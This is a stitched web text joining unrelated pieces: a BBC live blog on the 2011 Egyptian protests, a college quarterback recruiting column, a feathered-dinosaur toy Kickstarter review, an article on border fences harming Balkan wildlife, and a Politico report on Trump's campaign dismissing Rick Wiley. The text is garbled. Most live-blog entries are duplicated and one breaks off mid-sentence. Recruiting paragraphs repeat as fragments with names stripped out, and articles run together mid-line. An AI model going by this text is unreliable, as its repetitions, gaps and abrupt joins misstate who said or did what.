2002BBC Arabic Correspondent Khaled Ezzelarab says military police have arrested representatives of both Amnesty International and Human Rights Watch BBC Arabic Correspondent Khaled Ezzelarab says military police have arrested representatives of both Amnesty International and Human Rights Watch
1951 BBC's Kim Ghattas tweets: "State Dept says gravely concerned about efforts to disrupt, interfere with media activity in Egypt. Hillary Clinton to issue statement."
1948 Activist Gigi Ibrahim tweets: "Hmmm activists disappearing and journalists are being beaten up, keep an eye on me, I might be next."
1947More from ABC's interview with President Mubarak: he told the channel he would stay on until September because he feared chaos if he stood down now, and added: "I was very unhappy about yesterday. I do not want to see Egyptians fighting each other." More from ABC's interview with President Mubarak: he told the channel he would stay on until September because he feared chaos if he stood down now, and added: "I was very unhappy about yesterday. I do not want to see Egyptians fighting each other."
1938 Omar Robert Hamilton in Cairo tweets: "Entrance to the square manned by legions of guys in crash helmets. Feels dangerous as soon as you're out."
1935 ABC reporter Christiane Amanpour has just interviewed President Mubarak, and she tweets: "I asked Mubarak if he was ready to leave office. He said: I am fed up. After 62 yrs in public service I have had enough. I want to go."
1925 Time magazine reports that CBS chief foreign correspondent Lara Logan has been arrested.
1913 Nadia El-Awady, a journalist in Cairo tweets: "Mass harassment of journalists in Egypt today and yesterday must not go unnoticed. This is what the current Egypt regime represents."
1912Secretary-general of the Arab League Amr Moussa, who is Egyptian, says the situation cannot return to how it was before the protests: "The people are frustrated, the people are angry, so if nothing happens the anger will continue and there will be a lot of damage later on." Secretary-general of the Arab League Amr Moussa, who is Egyptian, says the situation cannot return to how it was before the protests: "The people are frustrated, the people are angry, so if nothing happens the anger will continue and there will be a lot of damage later on."
1902More on the attacks on journalists: Reporters Without Borders More on the attacks on journalists: Reporters Without Borders warns of an "all-out witch-hunt" against the media.
1852 CNN's Ben Wedeman in Cairo tweets: "Every time I think things couldn't get worse here... I'm praying this is the dark before the dawn."
1848The Committee to Protect Journalists has collated The Committee to Protect Journalists has collated a list of attacks on the media since the protests began.
1845Maha Azzam from the Chatham House think-tank tells the BBC that increasing polarisation in Egypt is creating a very dangerous situation, adding: "The whole prospect of democratisation in this country is under threat." Maha Azzam from the Chatham House think-tank tells the BBC that increasing polarisation in Egypt is creating a very dangerous situation, adding: "The whole prospect of democratisation in this country is under threat."
1842Update from Tahrir Square: The BBC's Jim Muir says: "There are many thousands of people still in the square, chanting slogans. It looks relatively peaceful, but further away to the north there is still a tense situation going one. Crowds of protesters are pressing forward. They have pushed Mubarak supporters off two overpasses. They are only about 50m apart and there are only a small number of soldiers keeping them apart. But the situation has stabilised in the rest of the square because the protesters have managed to assemble some pretty menacing barricades." Update from Tahrir Square: The BBC's Jim Muir says: "There are many thousands of people still in the square, chanting slogans. It looks relatively peaceful, but further away to the north there is still a tense situation going one. Crowds of protesters are pressing forward. They have pushed Mubarak supporters off two overpasses. They are only about 50m apart and there are only a small number of soldiers keeping them apart. But the situation has stabilised in the rest of the square because the protesters have managed to assemble some pretty menacing barricades."
1829Charity workers are among the people apparently harassed by the authorities. Charity workers are among the people apparently harassed by the authorities. Oxfam has released a podcast describing the attack and arrest of a group of Egyptians who work with them.
1824 BBC's Lyse Doucet tweets: "Egypt State TV Anchor Shahira Amin said she took ''spur of moment' decision to resign. Went to Tahrir Square instead."
1823Bel, a British freelance journalist in Cairo, says foreigners have had to go into hiding: "Anyone who is a journalist has been attacked, and if you're a foreigner the same problem is happening. I have now had to move into hiding, keeping away from windows, keeping away from any of the action and reducing my visibility online." Bel, a British freelance journalist in Cairo, says foreigners have had to go into hiding: "Anyone who is a journalist has been attacked, and if you're a foreigner the same problem is happening. I have now had to move into hiding, keeping away from windows, keeping away from any of the action and reducing my visibility online."
1817 Al-Jazeera's Sherine Tadros tweets: "People demanding mubarak step down and yet suleiman says the president has met the people's demands. Gov still not listening."
1814British Foreign Secretary William Hague joins the US in condemning attacks on journalists, and warns: "The world will be watching closely how the Egyptian authorities respond. Their reputation will be severely damaged if we see violence at the levels we have seen recently." British Foreign Secretary William Hague joins the US in condemning attacks on journalists, and warns: "The world will be watching closely how the Egyptian authorities respond. Their reputation will be severely damaged if we see violence at the levels we have seen recently."
1810The BBC website The BBC website now has a gallery of dramatic images sent in by readers caught up in the turmoil in Egypt.
1806Alaa, one of the protesters in Tahrir Square, tells the BBC World Service: "In the middle of the square I can see tens of thousands of people in a celebratory mood. Families congregating and lots of young people. There isn't much shouting now; everyone is sitting around having a chat and drinking tea. But further down towards the Egyptian museum, there is still some evidence of a battle." Alaa, one of the protesters in Tahrir Square, tells the BBC World Service: "In the middle of the square I can see tens of thousands of people in a celebratory mood. Families congregating and lots of young people. There isn't much shouting now; everyone is sitting around having a chat and drinking tea. But further down towards the Egyptian museum, there is still some evidence of a battle."
1804 BBC's Tim Willcox in Cairo tweets: "Walked back to hotel from bureau. No cabs. 40 mins. Dark balmy evening - chatting to Egyptians at roadblocks - tense but friendly."
1756Many miles from Cairo, life in the beach resort of Sharm el-Sheikh is almost normal. Blogger Jenni "Missye" White is on holiday there, and tells the BBC: "The main thing that is affecting people here is the fact the banks are closed and they worry they are going to run out of money. They are also concerned about shortage of fuel and food. The supermarkets have increased their prices a great deal." Many miles from Cairo, life in the beach resort of Sharm el-Sheikh is almost normal. Blogger Jenni "Missye" White is on holiday there, and tells the BBC: "The main thing that is affecting people here is the fact the banks are closed and they worry they are going to run out of money. They are also concerned about shortage of fuel and food. The supermarkets have increased their prices a great deal."
1752Reuters reports Vice-President Suleiman did not rule himself out of the presidential race, as reported in 1722 entry. Reuters reports Vice-President Suleiman did not rule himself out of the presidential race, as reported in 1722 entry.
1740 BBC's Gavin Lee in Cairo tweets: "Pro Mubarak supporters seem very few in number. Watching small group being chased by anti Mubarak protestors."
1727Another headline from Vice-President Suleiman's state TV interview: he says the country has lost "at least $1bn" in tourism revenue and one million tourists have left during the turmoil. Another headline from Vice-President Suleiman's state TV interview: he says the country has lost "at least $1bn" in tourism revenue and one million tourists have left during the turmoil.
1722Update on possible presidential candidates: Mr Mubarak has already said he won't stand for the top job again, officials say his son Gamal will not stand, and now VP Suleiman has ruled himself out too.
1720More from Vice-President Suleiman's interview with state TV: "Intervention in our internal affairs is strange, unacceptable and we will not allow it." More from Vice-President Suleiman's interview with state TV: "Intervention in our internal affairs is strange, unacceptable and we will not allow it."
1718Omar Ashour from Exeter University tells the BBC's World Service that the momentum is with the protesters, adding: "Dealing with this crisis by repression and intimidation is not working. What happened yesterday made a lot of people sympathise with the protesters." Omar Ashour from Exeter University tells the BBC's World Service that the momentum is with the protesters, adding: "Dealing with this crisis by repression and intimidation is not working. What happened yesterday made a lot of people sympathise with the protesters."
1707Reuters reports 10 people have died in clashes in Tahrir Square on Thursday, and a doctor at the square told the agency: "An hour an a half ago, two people were rushed to me with gunshot wounds to the head. They were gasping and died." Reuters reports 10 people have died in clashes in Tahrir Square on Thursday, and a doctor at the square told the agency: "An hour an a half ago, two people were rushed to me with gunshot wounds to the head. They were gasping and died."
1704The BBC website The BBC website has a feature from Yolande Knell in Cairo describing how the carnival atmosphere in Tahrir Square is long gone.
1700The BBC's Magdi Abdelhadi says: "The power struggle at the top of the Egyptian establishment is no longer a secret. The legal measures against some of the most powerful people in the political hierarchy are the confirmation of a deep split within the ruling elite. It began over how to respond to the wave of protests demanding that President Mubarak should go. And it worsened as the protesters became more assertive, insisting that the president step down immediately. After his announcement that he wont seek re-election this autumn, the split became a struggle for survival." The BBC's Magdi Abdelhadi says: "The power struggle at the top of the Egyptian establishment is no longer a secret. The legal measures against some of the most powerful people in the political hierarchy are the confirmation of a deep split within the ruling elite. It began over how to respond to the wave of protests demanding that President Mubarak should go. And it worsened as the protesters became more assertive, insisting that the president step down immediately. After his announcement that he wont seek re-election this autumn, the split became a struggle for survival."
1654Iran's al-Alam TV reports that "a group of thugs" has beaten up one of their crews in Alexandria, and intelligence agents have confiscated their equipment. Iran's al-Alam TV reports that "a group of thugs" has beaten up one of their crews in Alexandria, and intelligence agents have confiscated their equipment.
1641Sineh, a 60-year-old doctor who was treating people in Tahrir Square last night, tells the BBC: "I'm staying near Tahrir Square now, but I have not entered today as I have been warned that I could be attacked and my medical equipment confiscated by pro-Mubarak supporters." Sineh, a 60-year-old doctor who was treating people in Tahrir Square last night, tells the BBC: "I'm staying near Tahrir Square now, but I have not entered today as I have been warned that I could be attacked and my medical equipment confiscated by pro-Mubarak supporters."
1638State TV quotes Vice-President Omar Suleiman as saying the Muslim Brotherhood have been invited for talks with the new government. The brotherhood is the biggest opposition group, but was outlawed by Mr Mubarak's government. State TV quotes Vice-President Omar Suleiman as saying the Muslim Brotherhood have been invited for talks with the new government. The brotherhood is the biggest opposition group, but was outlawed by Mr Mubarak's government.
1632BBC security correspondent Frank Gardner says: "Human Rights Watch tell me 'Egypt's state repression and abuse are coming out of the torture chambers and on to the street.'" BBC security correspondent Frank Gardner says: "Human Rights Watch tell me 'Egypt's state repression and abuse are coming out of the torture chambers and on to the street.'"
1631 Democracy Now! reporter Sharif Kouddous tweets: "Not as much chanting, festivity as there used to be in Tahrir. A helicopter keeps passing flying low overhead."
1628Update on protests in Gaza (see 1417 entry): news agencies say hundreds of Hamas supporters are on the streets of Gaza waving Egyptian flags, chanting anti-Mubarak slogans. Hamas is seen as an ally of Egypt's opposition Muslim Brotherhood. Update on protests in Gaza (see 1417 entry): news agencies say hundreds of Hamas supporters are on the streets of Gaza waving Egyptian flags, chanting anti-Mubarak slogans. Hamas is seen as an ally of Egypt's opposition Muslim Brotherhood.
1620 BBC World tweets: "Egyptian security seize BBC equipment at Cairo Hilton in attempt to stop us broadcasting."
1617 New York Times columnist Nicholas Kristof tweets: "Govt is trying to round up journalists. I worry about what it is they're planning that they don't want us to see."
1615The BBC's Khaled Ezzelarab says the shift in focus from Tahrir Square to Abdel Monem Square appears to indicate a strategic advance for the anti-Mubarak protestors. The BBC's Khaled Ezzelarab says the shift in focus from Tahrir Square to Abdel Monem Square appears to indicate a strategic advance for the anti-Mubarak protestors.
1611More from Jim Muir: He says it's hard to believe you're in the middle of one of the major capitals of the Arab world. Tanks are being used as barricades but security forces seem to have pulled to one side, he says. More from Jim Muir: He says it's hard to believe you're in the middle of one of the major capitals of the Arab world. Tanks are being used as barricades but security forces seem to have pulled to one side, he says.
1609The BBC's Jim Muir in central Cairo says he's in middle of pitched battle on the northern side of Tahrir Square. He says the anti-government protesters are pushing forward - lobbing stones and rock. They've moved out well beyond the perimeter of the square. Says it's a scene of complete anarchy. The BBC's Jim Muir in central Cairo says he's in middle of pitched battle on the northern side of Tahrir Square. He says the anti-government protesters are pushing forward - lobbing stones and rock. They've moved out well beyond the perimeter of the square. Says it's a scene of complete anarchy.
1558Recap: There have been renewed clashes in the centre of Cairo between pro- and anti-Mubarak groups. The army had been holding a line between the two earlier in the day, but anti-government protesters then went on the offensive, pushing them out of some of the streets near Cairo's Tahrir Square. Recap: There have been renewed clashes in the centre of Cairo between pro- and anti-Mubarak groups. The army had been holding a line between the two earlier in the day, but anti-government protesters then went on the offensive, pushing them out of some of the streets near Cairo's Tahrir Square.
1553Russian President Dmitry Medvedev adds his voice to those calling for a peaceful resolution to Egypt's crisis. Russian President Dmitry Medvedev adds his voice to those calling for a peaceful resolution to Egypt's crisis.
1548 Firas Al-Atraqchi tweets: "Like millions - I am glued to Twitter, #AJE. I can't pull away to finish writing two articles - #egypt has captivated the world #jan25 #cairo. "
1543The BBC's Khaled Ezzelarab reports: One protestor killed in Abdel Monem Riyad Square in central Cairo, many more injured, among them three in critical condition. The BBC's Khaled Ezzelarab reports: One protestor killed in Abdel Monem Riyad Square in central Cairo, many more injured, among them three in critical condition.
1538Adham Helal in Cairo says: "Since the protests started I haven't slept, I haven't eaten and I haven't worked. I've been standing guard at my street. My only request is to give one month of peace and check the feedback from the government. If you still feel that you need to protest, go back to Tahrir, they will not remove the square." Adham Helal in Cairo says: "Since the protests started I haven't slept, I haven't eaten and I haven't worked. I've been standing guard at my street. My only request is to give one month of peace and check the feedback from the government. If you still feel that you need to protest, go back to Tahrir, they will not remove the square."
1529Iranian foreign ministry statement reported by Iran's al-Alam TV: "Iran watches closely the developments that are stemming from a wave of Islamic renaissance in the Middle East region." Iranian foreign ministry statement reported by Iran's al-Alam TV: "Iran watches closely the developments that are stemming from a wave of Islamic renaissance in the Middle East region."
1522BBC Arabic correspondent Khaled Ezzelarab: Heavy gunfire heard in Abdel Monem Riyad Square in downtown Cairo. BBC Arabic correspondent Khaled Ezzelarab: Heavy gunfire heard in Abdel Monem Riyad Square in downtown Cairo.
1520German Chancellor Angela Merkel has spoken to Hosni Mubarak and told him that dialogue must begin, Reuters reports. German Chancellor Angela Merkel has spoken to Hosni Mubarak and told him that dialogue must begin, Reuters reports.
1518 Ashraf Khalil tweets: "Huge plumes of smoke coming from up the river past national archives. Hard to tell but could be Arcadia mall."
1417This update from BBC reporters in the Gaza Strip: "Dozens of university students have demonstrated outside the Egyptian consulate in Gaza in support of the Egyptian protestors.They chanted anti-Mubarak slogans, and called on the Egyptian protestors not to give up until he leaves." This update from BBC reporters in the Gaza Strip: "Dozens of university students have demonstrated outside the Egyptian consulate in Gaza in support of the Egyptian protestors.They chanted anti-Mubarak slogans, and called on the Egyptian protestors not to give up until he leaves."
1516AFP citing witnesses saying a supermarket on the outskirts of Cairo is on fire. AFP citing witnesses saying a supermarket on the outskirts of Cairo is on fire.
1514Algeria is one of the Arab states that have been affected by a wave of regional unrest, and in which leaders have been rushing to shore up their positions by making concessions - lowering prices or promising greater freedoms. Algeria is one of the Arab states that have been affected by a wave of regional unrest, and in which leaders have been rushing to shore up their positions by making concessions - lowering prices or promising greater freedoms.
1512A very significant announcement reported by AFP from Algeria, too. President Abdelaziz Bouteflika says the state of emergency that's been in place will be lifted "in the very near future". A very significant announcement reported by AFP from Algeria, too. President Abdelaziz Bouteflika says the state of emergency that's been in place will be lifted "in the very near future".
1509Egyptians had widely assumed that Gamal was being groomed to take over from his father, though the probability of that happening seemed to shrink rapidly with the recent unrest. Egyptians had widely assumed that Gamal was being groomed to take over from his father, though the probability of that happening seemed to shrink rapidly with the recent unrest.
1507There's been a flurry of announcements from the prime minister and the vice-president, but we should take a moment to pick out a key one: the first official statement that Hosni Mubarak's son Gamal won't run for the presidency. There's been a flurry of announcements from the prime minister and the vice-president, but we should take a moment to pick out a key one: the first official statement that Hosni Mubarak's son Gamal won't run for the presidency.
1503 Forsoothsayer tweets: "Sandmonkey's been released, he's on his way home. His car has been destroyed and he and friends were beaten. #egypt#jan25"
1502Al-Arabiya reporting that Mubarak supporters have stormed hotels in Cairo, chasing foreign journalists. Al-Arabiya reporting that Mubarak supporters have stormed hotels in Cairo, chasing foreign journalists.
1501The Egyptian health minister says eight people have died so far and 890 been injured, including nine in critical condition, in the Tahrir Square clashes. The Egyptian health minister says eight people have died so far and 890 been injured, including nine in critical condition, in the Tahrir Square clashes.
1458As for "other" articles, he may be referring to Article 88 which tasks an appointed electoral committee with overseeing elections. Critics say that should be amended to include full judicial oversight. As for "other" articles, he may be referring to Article 88 which tasks an appointed electoral committee with overseeing elections. Critics say that should be amended to include full judicial oversight.
1457More from Vice-President Suleiman, as reported by state TV: He says articles 76 and 77 of the Egyptian constitution will be amended, and other articles are open to amendment as well. Article 76 specifies who can or can't run for president, and article 77 says the |
paid his own way to visit early instead of waiting and making official visits paid by the schools is perhaps affirmation that he is serious about considering schools across the country. His top eight in March included the Tide and Rebels, along with Hawaii, Arizona, USC, UCLA, Texas A&M and Washington.
is the top remaining target for many teams. The question is less of his talent than of his willingness to leave Hawaii and play for a school east of the Rockies. Playing for a school near, say, Atlanta is a minimum 12 hours of travel time each way when the inevitable freshman homesickness strikes. He did make trips to and in early April. That he paid his own way to visit early instead of waiting and making official visits paid by the schools is perhaps affirmation that he is serious about considering schools across the country. His top eight in March included the Tide and Rebels, along with,,,, and. Narcisse is shaping up to be a battle between Alabama, Auburn and LSU, and you can bet he'll be closely watching how both Tigers use their quarterbacks this season. Narcisse told me a school's ability to prepare him for the NFL is one of his most important factors.
is shaping up to be a battle between, and, and you can bet he'll be closely watching how both Tigers use their quarterbacks this season. Narcisse told me a school's ability to prepare him for the NFL is one of his most important factors. It will be interesting to see how LSU's pursuit of Narcisse shapes up and if it elects to put the press on Mississippi State commitment Thompson. Accurately assessing one's position with a recruit is an important aspect of recruiting. I'm not suggesting the Tigers should drop out of the Narcissee sweepstakes, but another Dak Prescott-type situation would not be good. (Prescott was from Louisiana, about two hours from Baton Rouge, and would go on to become MSU's best QB ever. LSU offered him just weeks before he enrolled at State.)
's pursuit of Narcisse shapes up and if it elects to put the press on commitment. Accurately assessing one's position with a recruit is an important aspect of recruiting. I'm not suggesting the Tigers should drop out of the sweepstakes, but another Dak Prescott-type situation would not be good. (Prescott was from Louisiana, about two hours from Baton Rouge, and would go on to become MSU's best QB ever. LSU offered him just weeks before he enrolled at State.) There's also speculation that Clemson will lose Brice, who is lesser-rated than fellow commitment Johnson. Brice insisted to me recently he is solid to Clemson, and the Tigers hired his high school head coach in March to be a defensive quality control coach.
On May 2, LSU and Alabama both made their moves. The Tigers struck first, landing Narcisse (2), while Alabama landed Tagovailoa (1).
If LSU has a strong season there is every reason to believe Narcisse will stick. But can Alabama hold the commitment of a Hawaiian? Immediately there where whispers of skepticism. That is a long way from home.
California QB Jack Sears was also elevated to a four-star rating in early May (2).
On May 4, the QB recruiting world was set on its head as Martell decommitted from A&M (3), which set off a firestorm after a four-star receiver decommitted in the wake of an A&M assistant bashing recruits for their lack of loyalty on twitter following the Martell decommitment. Really. Oregon QB commitment Ryan Kelley, of Arizona decommitted on May 4 as well (4) and then committed to Arizona State (3).
What's next? (May 9)
Traditional recruiting powers still looking for a quarterback include USC, Auburn, UCLA, Texas A&M, Oregon and Tennessee. Ohio State would also like to take two if possible.
But as of May 9, only three of 24 QBs rated four- or five-stars are uncommitted (Burmeister, Martell and Sears). And while recruiting rankings are far from complete in May and more four- and five-stars will likely emerge, the pickings are getting slim.
Most think USC and Ohio State stand the best chance to land Martell.
. On the West Coast, Burmeister is likely to be highly coveted not only by Washington and Arizona, but by the L.A. schools.
is likely to be highly coveted not only by and, but by the L.A. schools. Early prognosticators think UCLA is the smart bet for Sears, but Tennessee, USC and A&M are getting in as well.
, but Tennessee, USC and A&M are getting in as well. Auburn has offered four-star athlete Tray Bishop of Dawson (Ga.) a chance to play QB for them and is actively trying to flip Baylor commit Kellen Mond. Ohio State is also trying to flip Mond.
of Dawson (Ga.) a chance to play QB for them and is actively trying to flip Baylor commit Kellen Mond. Ohio State is also trying to flip Mond. Washington and Oregon are both in on three-star QB Chase Garbers, of Newport Beach (Calif.).
, of Newport Beach (Calif.). I am high on two Texas QBs: Pearland's Connor Blumrick and Colleyville Heritage's Cam Roane. Blumrick's physical tools are much better, but Roane is accurate and has a quick release. Blumrick holds an Ole Miss offer, and Roane does not have any major offers as of yet. As schools become less optimistic about flipping top prospects, they may turn to this pair.
Burmeister's decommitment from Arizona did not last long, and on May 13 he was back in the fold with the Wildcats (2).
On May 20, Texas A&M indeed landed Blumriick after offering him on on May 17. Blumrick is very tall and has good potential. It would not surprise me to see him bumped up to a four-star ranking. As of May 24, Blumrick is ranked the No. 44 pro-style QB prospect, and I highly doubt there are 43 better pro-style prospects.
Ole Miss lost Blumrick, and then moved on to offer the lesser-rated of LSU's two QB commitments, Myles Brennan of Bay Saint Louis (Miss.). Brennan's coach is the one who complained about Ole Miss not explaining its lack of offer early in the process. But Ole Miss smoothed that over and now Brennan must decide if he wants to be the No. 2 QB in LSU's class or the No. 1 in Ole Miss'. It's not uncommon for a lesser-rated QB to stick in a class with a superstar QB also in the fold (see Sean Maguire sticking with his commitment after Florida State landed Jameis Winston), and Brennan has to know that he's probably not in line for early playing time at LSU or Ole Miss because the Rebels landed No. 1 QB Shea Patterson in the 2016 class.
June 8 Intel
Mond became the latest player to decommit from Baylor's 2017 class (3). He announced a new top three of Auburn, Ohio State and Texas A&M. Lots of people believe Mond will commit to Auburn.
became the latest player to decommit from 2017 class. He announced a new top three of Auburn, Ohio State and Texas A&M. Lots of people believe Mond will commit to. Martell announced a top five of Ohio State, Cal, USC, Colorado and UCLA. Ohio State and Cal are seen as frontrunners.
announced a top five of Ohio State, Cal, USC, Colorado and UCLA. Ohio State and Cal are seen as frontrunners. Alabama landed its second 2017 QB commit, flipping Jones from Kentucky. Then Lane Kiffin executed an expert troll job on Kentucky's coach.
landed its second 2017 QB commit, flipping from Kentucky. Then Lane Kiffin executed an expert troll job on Kentucky's coach. Roane committed to San Diego State on May 25. He is a player to watch as the season plays out who may land better offers.
We'll continue to track the evolving situation leading up to National Signing Day.Reading Time: 3 minutes
Did the lack of feathers on the raptors in Jurassic World make you die a little inside? Whenever you see a grey or tan dinosaur does your eye twitch? Do you have an ornithological reference guide loaded on your phone just in case someone muses out loud about how they can’t imagine what feathered dinosaurs would look like? Have you been thrown out of your local Target because you were found lecturing children and parents at length about how the toys offered don’t reflect current paleontological discoveries?
The Beasts of the Mesozoic Kickstarter feels your pain and wants to make sure you have plenty of gorgeous murder birds on hand to terrorize your action figures.
Sculpted by David Silva, whose work has been featured in awesome toylines like NECA’s Pacific Rim, Beasts offers backers a chance to own hyper-detailed, scientifically-accurate raptors, feathers and all, with breathtaking decos inspired by modern ornithology.
I asked David, with all the fantastical creatures he’s sculpted, what drew him to create feathered dinosaur figures and where he drew the inspiration from for the feather and coloration details?
I’ve noticed a big gap in the dinosaur toy market for accurate and articulated dinosaur toys. From what I’ve seen, you either get one or the other, but never both in one action figure. For the colors and patterns, I’ve looked to modern birds that occupy the same type of habitat as the extinct raptors. I think this gives them a more ‘real world’ quality.
Looking at the Kickstarter page, the intricacy of the sculpt is striking. Having backed a few action figure Kickstarters before, I know that finding a factory to mass produce gorgeous resin prototypes can be a challenge (see our Kickstarter primer). So how confident is David that a factory will be able to faithfully reproduce his amazing sculpt and insanely detailed paint apps?
The factory that will be producing these figures is the same one we’ve used at NECA for the deluxe Pacific Rim kaiju action figures (which I also sculpted). Since they already have some experience in dealing with my creature sculpts, I feel pretty confident that they can pull this off.
Each raptor comes with a base, interchangeable toes and a support arm so that the dinos can be posed dynamically. At $35 per figure, they’re for serious dinosaur fans. When asked, David said that he “tried to strike a balance between an cost efficient amount of reused and unique parts.” And that is one of the things that I like the most about Beasts of the Mesozoic. It would have been simple to take one sculpt and redeco it a dozen times, but the unique head, tail, and wing sculpts scattered among the various figures makes a huge difference in the overall diversity of the line.
Originally there were 10 raptors being teased. After the runaway popularity of the campaign, David is now planning up to twelve raptors, with accessories and a possible backer-participation raptor depending on how many stretch goals get blown through. Once all the dinos have been revealed, he plans on offering an “all-in” option so that backers can get a discount for buying one of each of the raptors in the campaign.
And if the current campaign isn’t enough, Silvas has eyes on future campaigns, with a frilled dinosaur teased at the bottom of the current campaign page. I wondered if he had a whole universe of various dinos in mind?
Yes I do- I keep thinking about all of the possibilities. Not just limited to dinosaurs (which is extensive enough) but this style could work well for any type of animal action figure, extinct or living. Or even, dare I say, dragons…
I grew up loving dinosaurs and I still harbor a wee paleontologist in the back of my brain that flips out whenever new dinosaur toys pop onto the scene. “Play science,” if you will, has lagged far behind “real science” when it comes to dinosaurs for way too long. I suppose that there’s a toy executive somewhere, glowering behind a desk, complaining that feathers on dinosaurs don’t look “cool” or “tough” enough. Whereas I think David Silva’s sculpts prove that, at least with raptors, they can look even more terrifying. If you’re a dinosaur fan, you know that dinosaur art and toys have been slow to embrace feathers, even as overwhelming evidence mounts that feathers were an integral part of their physiology. Beasts of the Mesozoic is finally giving fans what they want, and David Silva looks to be poised to provide much more where these came from. Raptors start at $35 and are well worth the investment. If you’re on the fence, head over to the Kickstarter page between now and May 27th and chip in $1 to start getting updates. After a week of amazing dinosaur concept art, you’ll be ready to bring home a murder bird of your own!
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Get the Official GeekDad Books!As if the human suffering caused by Europe’s new anti-refugee fences was not enough, casualties are now being reported among animals – some of which are already endangered.
The hastily built barriers along national borders are designed to keep out refugees fleeing from war-torn Syria and elsewhere. Yet they also keep the wildlife out of its natural habitats.
The most widely reported victims so far are deer that died after becoming tangled in barbed-wire barriers along Croatia’s borders with neighbouring Slovenia and Hungary.
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“Many of the reports have come from the media and from hunting clubs, whose members have noticed deer becoming tangled and dying in agony that can last for days, until someone comes along and finds them,” says Vedran Slijepčević, a zoologist at Karlovac University of Applied Sciences in Croatia.
But although photographs and reports of the entangled deer have stirred emotion and sympathy, the impacts on migrating or roaming animals of suddenly losing their usual territory could ultimately be more devastating.
Lynx effect
“For big populations such as roe and red deer, the problem is not so much in numbers but the suffering,” says Magda Sindičić, a researcher at the University of Zagreb. In contrast, she says, “for small, endangered populations, each individual is priceless”.
Sindičić has studied the genetic diversity of the remaining Dinaric lynx populations shared between Slovenia and Croatia, where numbers have dwindled to between 60 and 70.
“Lynx use habitats in both countries and cross the border daily to search for food and partners to mate,” she says. “The population is primarily endangered through inbreeding, so mating and producing fertile offspring is already a challenge for this population, and this fence will make it even harder as it will stop animals from migrating freely across the border.”
Slovenia began erecting the barbed-wire barrier – now 140 kilometres long – along the border with Croatia a few weeks ago near Dobova, a town on a refugee route. The fence now follows the border along the river Kupa through a region called Gorski Kotar in Croatia. This is one of the richest habitats for wildlife on both sides of the border, according to Sindičić.
Slijepčević says that the barrier is obstructing an annual migration of roe and red deer from high summer to low winter altitudes. It’s possible, he says, that the deer might become stuck in snow if they can’t make it to their usual lowlands.
These animals are in turn tracked by large predators, including lynx and wolves. Although the predators are less likely to get caught, they may get snagged if they try to scavenge deer from the wire.
Bear with me
Bears, too, could suffer if their territories suddenly contract because of the fences, warns Djuro Huber of the University of Zagreb, who has monitored the movement of about 50 bears through radio-tagging.
“A single bear can have a territory of as much as 1000 square kilometres,” he says. “They make big seasonal movements, showing up at different times in different areas.”
For example, he says, since late June this year, the same bear crossed the border into Slovenia and back three times. His tagging also revealed that more than half the bears he studied frequent habitat on both sides of the border.
In all, Huber estimates that there are probably 3000 bears in a tract of Europe that runs from Croatia in the north through the Balkans to Greece. “It’s all connected,” he says.
But the entire habitat is now being fragmented by fences between Macedonia and Greece, and Bulgaria and Greece, as well as those around Hungary and in Slovenia and Croatia.
The same fragmentation could be affecting four large wolf packs shared between Slovenia and Croatia, says Huber. “Now they’re partitioned, with half their range suddenly out of reach,” he says. “Gene flow will become much more of a problem.”
Schengen for carnivores
Huber and others are drafting a letter to the European Commission, pointing out the damaging impacts of the fences on nature. They will argue that the fences violate the EU Habitats Directive, which requires open conservation corridors for the transboundary movement of animals, and a 2008 agreement called the Large Carnivore Initiative for Europe, which contains guidelines for the transboundary management of large carnivores.
But what can be done in the meantime?
Slijepčević says there are media reports that people have been creating gaps in the fences for animals to get through. “But if animals come to the wire, they won’t find the passageways easily,” he says.
Huber agrees, adding that people will find ways to get through anyway. “People can get through the fence easily, using wire cutters or boards laid across the wire, but animals can’t,” he says.
Huber and Slijepčević agree that the only solution that would work for the animals would be to remove the fences altogether.
Read more: “Where the wild things are: Big beasts return to Europe”
Image credit: STR/AFP/Getty
GIF credit: Romulic & StojcicDonald Trump’s campaign suggested that Rick Wiley’s position was not intended to be permanent. | Getty Trump fires top aide Rick Wiley’s departure comes after he clashed with a Lewandowski loyalist.
Donald Trump’s presidential campaign on Wednesday night announced it had parted ways with its national political director, Rick Wiley — a move that appears to stem in part from an ongoing turf war atop the campaign.
Wiley was the first high-profile hire by Paul Manafort, the veteran GOP operative who Trump brought on board in late March to help professionalize a campaign that had cruised through the GOP primary season with a skeleton staff.
Story Continued Below
But Manafort and Wiley quickly found themselves at odds with Trump campaign manager Corey Lewandowski and key members of the team he had built.
Sources in and around the campaign told POLITICO that Wiley was not responsive to Lewandowski or other officials from the old regime, and that he had clashed in recent weeks with Karen Giorno, a Lewandowski ally who ran Trump’s campaign during the Florida GOP primary.
Trump’s campaign, in a statement, suggested that Wiley’s position was not intended to be permanent and thanked him for his service, but it did not make clear the terms of his departure.
“Rick Wiley was hired on a short-term basis as a consultant until the campaign was running full steam. It is now doing better than ever, we are leading in the polls, and we have many exciting events ready to go, far ahead of schedule while Hillary continues her long, boring quest against Bernie,” the statement said.
Wiley did not respond to a phone message seeking comment. And campaign spokeswoman Hope Hicks did not respond when asked directly if Wiley was fired or resigned.
But campaign sources told POLITICO it was the former, and traced the move to Wiley’s row with Giorno, a seasoned Florida campaign consultant who oversaw Trump’s big March 15 win that knocked home-state U.S. Sen. Marco Rubio out of the race.
For weeks, Wiley made appointments and had discussions with Florida Republicans and appeared to be building a new campaign from scratch, sources say. They say he refused, at times, to return Giorno’s calls or take them.
Giorno then began calling other Trump campaign officials to ask them whether Wiley had it out for her or for everyone.
On Thursday, word leaked back to Trump. He phoned Giorno, concerned, sources said.
“Tell me what’s wrong?” Trump asked her, according to one person familiar with the call.
"Karen unloaded on Wiley,” the source said. “Mr. Trump is loyal. He believed her. … Rick picked a fight with the wrong person.”
At that point, Trump ordered Wiley to stay away from Giorno and to neither call nor email her.
“Donald is loyal. And she’s loyal,” a source said.
Wiley had previously served as campaign manager for Trump’s vanquished rival Wisconsin Gov. Scott Walker. His campaign was initially celebrated by many in the GOP establishment, but as Walker struggled, Wiley came under fire for building a campaign apparatus that was too big and expensive to sustain. By the time Walker dropped out of the race, Wiley had been preparing to resign.
Unlike some of the other Trump officials caught in the crossfire between Manafort and Lewandowski, Giorno hasn’t had to pick a side. Though hired under Lewandowski, Giorno has close ties to Manafort as well through Susie Wiles, who is a longtime friend of Manafort’s and managed Florida Gov. Rick Scott’s 2010 campaign. Giorno, who supported Scott during that campaign, went on to work for the governor as well.
